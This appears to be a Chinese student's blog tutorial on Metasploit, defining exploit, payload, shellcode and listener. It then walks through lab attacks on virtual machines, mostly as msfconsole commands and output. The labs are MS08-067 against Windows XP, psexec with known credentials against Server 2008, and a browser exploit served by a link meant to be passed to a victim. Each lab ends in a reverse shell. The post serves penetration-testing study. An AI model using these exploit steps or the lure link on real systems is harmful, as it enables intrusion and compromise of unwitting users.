大家好,我是SuieKa。一个在学计算机网络方面的小白,也是在校大二学生,学以致用,实操记载,博文若有毛病,请一定留言哟
之前我记载了一篇关于kali Linux利用MS17-010(比特币勒索漏洞)对对目标系统的渗透。本博文我们就来了解Metasploit渗透之explicit模块的使用,在讲之前,先了解Metasploit的发明者,以及Metasploit的专业术语。
1、Metasploit简介
** Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
Metasploit的设计初衷是打造成一个攻击工具开发平台,本书稍后将讲解如何开发攻击工具。然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。
创造者之一:顶级安全专家H.D.Moore
HDMoore是计算机软件Metasploit的创建者,该软件是为了测试计算机网络抵御黑客渗透而开发的。HDMoore也以软件项目而闻名。作为一名计算机工程师,他关心的是开发旨在成为测试网络内漏洞的安全工具的平台,以帮助开发更强大的网络保护软件。
开源软件Metasploit是H.D. Moore在2003年开发的,它是少数几个可用于执行诸多渗透测试步骤的工具。在发现新漏洞时(这是很常见的),Metasploit会监控Rapid7,然后Metasploit的200,000多个用户会将漏洞添加到Metasploit的目录上。然后,任何人只要使用Metasploit,就可以用它来测试特定系统的是否有这个漏洞。
Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击。所有这些操作都可以通过Metasploit的Web界面进行管理,而它只是其中一种种管理接口,另外还有命令行工具和一些商业工具等等。
攻击者可以将来自漏洞扫描程序的结果导入到Metasploit框架的开源安全工具Armitage中,然后通过Metasploit的模块来确定漏洞。一旦发现了漏洞,攻击者就可以采取一种可行方法攻击系统,通过Shell或启动Metasploit的meterpreter来控制这个系统。
这些有效载荷就是在获得本地系统访问之后执行的一系列命令。这个过程需要参考一些文档并使用一些数据库技术,在发现漏洞之后开发一种可行的攻击方法。其中有效载荷数据库包含用于提取本地系统密码、安装其他软件或控制硬件等的模块,这些功能很像以前BO2K等工具所具备的功能。
2、专业术语
2.1 渗透攻击(Exploit)
渗透攻击是指由攻击者或者渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。流行的渗透攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击(比如SQL注入)、以及利用配置错误等。
2.2. 攻击载荷(Payload)
攻击载荷是我们期望目标系统在被渗透攻击之后去执行的代码,在Metasploit框架中可以自由地选择、传送和植入。例如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷,而bind shell攻击载荷则在目标主机上将命令行shell绑定上一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。攻击载荷也可能是简单的在目标操作系统上执行一些命令,例如添加用户账号等。
2.3. Shellcode
Shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了Shellcode这一组指令之后,才会提供一个命令行shell或者Meterpretershell,这也是Shellcode名称的由来。
2.4. 模块(Module)
一个模块是指Metasploit框架中所使用的一段软件代码组件。在某些时候,可能会使用一个渗透攻击模块(exploit),也就是用于实际发起渗透攻击的软件组件。在其他时候,则可能使用一个辅助模块(auxiliary module),用来执行一些诸如扫描或者系统查点的攻击动作。
2.5 监听器(Listener)
监听器是Metasploit中用来等待连入网络连接的组件,举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
kali linux:IP地址:192.168.1.113
root@wangzhike:~# uname -rvso
Linux 5.4.0-kali2-amd64 #1 SMP Debian 5.4.8-1kali1 (2020-01-06) GNU/Linux
Windows XP sp3:IP地址:192.168.1.106
kali linux更新msf命令
msfupdate ##从官网上更新msf相关组件,以前使用的更新方式,现已弃用
或者
apt update
apt-get install metasploit-framework
1、利用xp自身漏洞(漏洞发现–利用漏洞) ms08-067 XP/2003经典漏洞
在之前讲到了msf控制台的命令使用,在这里就不多说哈
我们先看看目标主机存在些什么漏洞
root@wangzhike:~# nmap --script=smb-vuln*.nse 192.168.1.106
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 11:24 CST
Nmap scan report for 192.168.1.106
Host is up (0.00029s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2869/tcp open icslap
MAC Address: 00:0C:29:A9:45:9C (VMware)
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 6.48 seconds
2、利用ms08-067进行渗透
启动postgresql数据库
root@wangzhike:~# msfdb start
[+] Starting database
注意:在开启 msfconsole 前必须保证postgresql数据库起来,要不然会报错
msfdb命令使用:
msfdb init # 启动并初始化数据库
msfdb reinit # 删除并重新初始化数据库
msfdb delete # 删除数据库并停止使用它
msfdb start # 启动数据库
msfdb stop # 停止数据库
msfdb status # 查看数据库状态
msfdb run # 启动数据库并运行msfconsole
msfconsole常用命令:
msfconsole -a ##退出Metasploit前询问或接受“exit-y”
msfconsole -H ##历史文件文件将命令历史记录保存到指定文件
msfconsole -o ##将文件输出到指定文件
msfconsole -p ##插件插件在启动时加载插件
msfconsole -q ##安静不要在启动时打印横幅 (静默启动)
msfconsole -r ##资源文件执行指定的资源文件(-对于stdin)
msfconsole -x ##execute command命令执行指定的控制台命令(用于多个)
msfconsole -h ##帮助显示此消息
msfconsole -v ##显示版本信息
启动msfconsole(加上-q选项就不会有这么花里花俏的图案)
root@wangzhike:~#msfconsole -q
=[ metasploit v5.0.70-dev ]
+ -- --=[ 1960 exploits - 1094 auxiliary - 336 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 >
搜索漏洞
msf5 > search ms08_067
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
利用漏洞
msf5 > use exploit/windows/smb/ms08_067_netapi ####利用模块
msf5 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.1.106 ####目标IP地址
rhosts => 192.168.1.106
msf5 exploit(windows/smb/ms08_067_netapi) > set target 7 ####因为我使用的是Windows xp sp3 英文版,选择类型7
target => 7
msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell_reverse_tcp ###设置反弹sell
payload => windows/shell_reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > set lhost 192.168.1.113 ####本机IP地址
lhost => 192.168.1.113
msf5 exploit(windows/smb/ms08_067_netapi) > set lport 5555 ####默认4444端口,可以不设
lport => 5555
保存刚刚配置的内容
msf5 exploit(windows/smb/ms08_067_netapi) > save
Saved configuration to: /root/.msf4/config
root@wangzhike:~# cd .msf4/
root@wangzhike:~/.msf4# cat config
[framework/core]
[framework/ui/console]
ActiveModule=exploit/windows/smb/ms08_067_netapi
[windows/smb/ms08_067_netapi]
RHOSTS=192.168.1.106
target=7
payload=windows/shell_reverse_tcp
lhost=192.168.1.113
lport=5555
进行渗透
msf5 exploit(windows/smb/ms08_067_netapi) > exploit -j ###攻击
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.113:5555
msf5 exploit(windows/smb/ms08_067_netapi) > [*] 192.168.1.106:445 - Attempting to trigger the vulnerability...
[*] Command shell session 1 opened (192.168.1.113:5555 -> 192.168.1.106:1079) at 2020-03-16 11:53:52 +0800
msf5 exploit(windows/smb/ms08_067_netapi) > sessions -l ###查看回话sessions,其中被反弹回一个shell就说明渗透成功
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/windows Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Cor... 192.168.1.113:5555 -> 192.168.1.106:1079 (192.168.1.106)
msf5 exploit(windows/smb/ms08_067_netapi) > sessions -i 1 ###使用sessions 1
[*] Starting interaction with 1...
C:\WINDOWS\system32> ###成功
很简单
1)、Active exploit:
攻击者主动向被攻击者主动发起漏洞利用代码,利用目标漏洞,导致执行代码 服务器开放端口,攻击发起方被攻击方发起漏洞利用代码,加载payload,在被攻击方执行payload,被攻击方可能打开payload开放的shell的侦听端口,或者被攻击方不开放端口,反向连接攻击方的端口。
2)、Passive exploit:
客户端程序的漏洞,诱惑使用存在漏洞的客户端,客户端受骗,下载漏洞执行代码,利用本地的漏洞被利用,导致payload被加载,出现反弹或者 直连的shell。 被攻击者,不开放端口,或者是开放端口,但是不存在漏洞,漏洞存在在本机工作的客户端的软件上(比如浏览器、 pdf、java程序等),客户端软件需要访问服 务器端,如果客户端软件存在漏洞去访问exploit的服务器端,导致服务器把自己的exploit漏洞利用代码,做为客户端请求的响应报文,把漏洞利用代码的内容返 回给客户端,作为客户端程序的漏洞被利用,导致payload加载,把自己的shell给攻击者。
Active exploit实验:攻击服务器端程序(FTP/smtp…)
但是这种方式渗透是需要先知晓对方用户及密码
Active exploit基本流程:
– use exploit/windows/smb/psexec ###利用模块
– set RHOST 192.168.1.xxx ###
– set PAYLOAD windows/shell/reverse_tcp ###反弹shell方式
– set LPORT 4444 ###设置反弹sell端口,可以默认
– set SMBUSER xxx ###目标系统用户
– set SMBPASS xxx ###目标系统用户密码
– exploit -j ###攻击
前提:
kali linux(攻击者):192.168.1.113
Windows server 2008(被攻击者):192.168.1.102
给它关闭防火墙,保证可以互通
1)、初始化数据库
root@wangzhike:~# msfdb init
[+] Starting database
[+] Creating database user 'msf'
为新角色输入的口令:
再输入一遍:
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
root@wangzhike:~# msfdb start ####最好设置开机启动
[i] Database already started
2)、设置项
root@wangzhike:~# msfconsole -q
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.1.102
rhosts => 192.168.1.102
msf5 exploit(windows/smb/psexec) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf5 exploit(windows/smb/psexec) > set SMBUser administrator ###Windows server 2008 用户
SMBUser => administrator
msf5 exploit(windows/smb/psexec) > set SMBPass admin@123456 ###用户密码
SMBPass => admin@123456
msf5 exploit(windows/smb/psexec) > set lhost 192.168.1.113
lhost => 192.168.1.113
msf5 exploit(windows/smb/psexec) > show targets ###使用默认
Exploit targets:
Id Name
-- ----
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload
“攻击”
msf5 exploit(windows/smb/psexec) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.113:4444
msf5 exploit(windows/smb/psexec) > [*] 192.168.1.102:445 - Connecting to the server...
[*] 192.168.1.102:445 - Authenticating to 192.168.1.102:445 as user 'administrator'...
[*] 192.168.1.102:445 - Selecting PowerShell target
[*] 192.168.1.102:445 - Executing the payload...
[+] 192.168.1.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.102
[*] Command shell session 1 opened (192.168.1.113:4444 -> 192.168.1.102:49159) at 2020-03-16 11:25:26 +0800
可以看到有个sessions
进行“渗透”:sessions -i 1(会话1)
验证:在Windows server 2008中创建目录。使用kali linux查看
这样就实现了控制
Passive exploit实验:诱导客户端连接网站,被动响应漏洞利用的代码
Passive exploit基本流程:
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize ###图片加载模块
– set URIPATH / ###访问的根目录
– set PAYLOAD windows/shell/reverse_tcp
– set LHOST 192.168.1.xxx ###kaliIP地址
– set LPORT 4444 ###默认侦听端口为4444
– exploit ###生成链接
前提:
kali linux(攻击者):192.168.1.113
Windows XP Professional sp2(被攻击者):192.168.1.100
Windows server 2003 我没有做成功,换成xp
为Windows 打开防火墙,不然在进行exploit,可能无法使用模块进行攻击
1)、设置项
root@wangzhike:~# msfconsole -q
msf5 > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > set srvhost 192.168.1.113
srvhost => 192.168.1.113
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > set lhost 192.168.1.113
lhost => 192.168.1.113
“生成链接伪造一个网站”
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.113:4444
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > [*] Using URL: http://192.168.1.113:80/
[*] Server started.
http://192.168.1.113:80/ #####此链接用其他方式交给Windows xp 系统上,用户可能会使用浏览器访问(中招)
Windows用户回弹一个无用信息
但是kali linux 这边就有情况
有以下红框内信息才表示成功
sessions -l查看
sessions -i 1进行渗透
验证:在kali linux 上创建linux目录(有乱码)
成功